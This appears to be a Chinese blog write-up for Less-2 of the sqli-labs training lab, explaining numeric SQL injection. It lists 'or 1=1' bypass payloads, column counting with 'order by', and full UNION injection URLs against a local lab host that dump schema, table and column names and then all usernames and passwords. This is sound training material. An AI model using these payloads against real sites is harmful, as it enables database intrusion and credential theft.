Sqli-labs之Less-2

                                    Less-2   ==>数字型注入

翻译:获取-基于错误-基于整数

                                                          欢迎Dhakkan
                                         请输入ID作为带有数字值的参数

分别尝试将 ?id=1    ?id=1'   ?id=1"  添加到url中,发现?id=1' ?id=1"报错,说明是数字型注入。

 

翻译:您的SQL语法有误。 检查与您的MySQL服务器版本相对应的手册以获取正确的语法,以在第1行的 '' LIMIT 0,1'  附近使用

从上面的测试中得出,以第一个报错为例现在执行的查询语句如下:
Select * from TABLE where id = 1' ;

所以这里的奇数个单引号破坏了查询,导致抛出错误。
因此我们得出的结果是,查询代码使用了整数。
Select * from TABLE where id = (some integer value);
现在测试:id=1 ... id=3...

 

 

这说明我们想法正确。

接下来测试是否具有注入点:

-1 or 1=1 -- #

发现仍可以显示正确的结果,可以得知这里存在一个注入点。

id=-1很显然是不存在的,但or 1=1是一个true条件(也可以用其他true条件替代),使查询语句类似于select * from xxx where trueselect * from xxx,返回所有结果。

以该环境后台数据库users表为例:

一般尝试的语句:

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

当然不加注释符也可以,但是要注意分情况。比如说这里是数字型注入,那么像 ' or '1'='1'  ' or  1=1 都可以,而如果像字符型注入中的单引号问题,要注意闭合,得这么写  ' or '1'='1  而像字符型注入中的双引号,得这么写  " or "1"="1   要特别注意闭合的问题,但一般常用上面带注释的语句。

对比源代码:

源代码中可以分析到 SQL 语句为:

$sql="SELECT * FROMusers WHERE id=$id LIMIT 0,1";
对 id 没有经过处理

所以我们接下来猜字段数:

此处可以利用 order by n。Order by n对前面的数据进行排序,n为整数,意为对第n个列进行排序

测试发现n最大为3,说明有3个列。
order by 4-- #的结果显示结果超出。

我们通过后台查看证明就是3个字段:

利用union联合注入,当 id 的数据在数据库中不存在时,(此时我们可以让 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,会将我们后面定义的查询语句的结果返回出来)此页面返回了我们构造的 union 的数据。

上图显示了2和3,说明我们可以对第二个和第三个字段进行操作

接下来爆数据库:

先了解:

1.系统函数
介绍几个常用函数:
      1. version()——MySQL 版本
      2. user()——数据库的用户
      3. database()——当前数据库名
      4. @@datadir——数据库路径
      5. @@version_compile_os——操作系统版本

2.数据库字符串连接函数:(会的跳过)
函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html
        1. concat(str1,str2,...)——没有分隔符地连接字符串
        2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
        3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号(默认)分隔每一条数据
        说着比较抽象,说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

这里简单演示下:

以Sqil-labs环境下的security数据库里的users表为例:

1.concat()

2.concat_ws()

3.group_concat() -------》这个函数与前两个函数的最大区别在于,它把所有的数据显示在一行,这个对于注入来说是特别重要的,在特定的情况下,我们注入时如果情况只容许我们返回一行结果信息,那么这个函数就显得尤为重要。举个例子:在第2个字段下,爆数据库security里的表,有4个表,用concat()和concat_ws()函数,只会显示该数据库表的第一行即第一个表,显示在第2个字段,而使用group_concat()函数,则会把这4个表作为一行信息,显示在第2字段的位置上。提醒:前两个函数一般使用concat(user(),database(),或者concat(条件 limit x,1)这样的形式较多,因为这种形式也是把数据作为一行信息输出的。由此可见,他们各有各的应用场景,要灵活应用。

爆数据库:

http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

此时的 sql 语句为

SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- # LIMIT 0,1

爆 security 数据库的数据表:

http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- #

此时的 sql 语句为

SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- # LIMIT 0,1

爆 users 表的列:

http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'-- #

此时的 sql 语句为

select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'-- #LIMIT 0,1

爆users表的数据:

http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- #

此时的 sql 语句为

select 1,group_concat(username),group_concat(password) from users -- #LIMIT 0,1

注:对于Less-1的爆数据库,表名,字段,数据。只需把Less-2操作中的?id=-1改为?id=-1',就是加上一个' (单引号)而已,当然猜测字段也是要加上一个单引号,进行猜测。

                                                                                                           完结。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值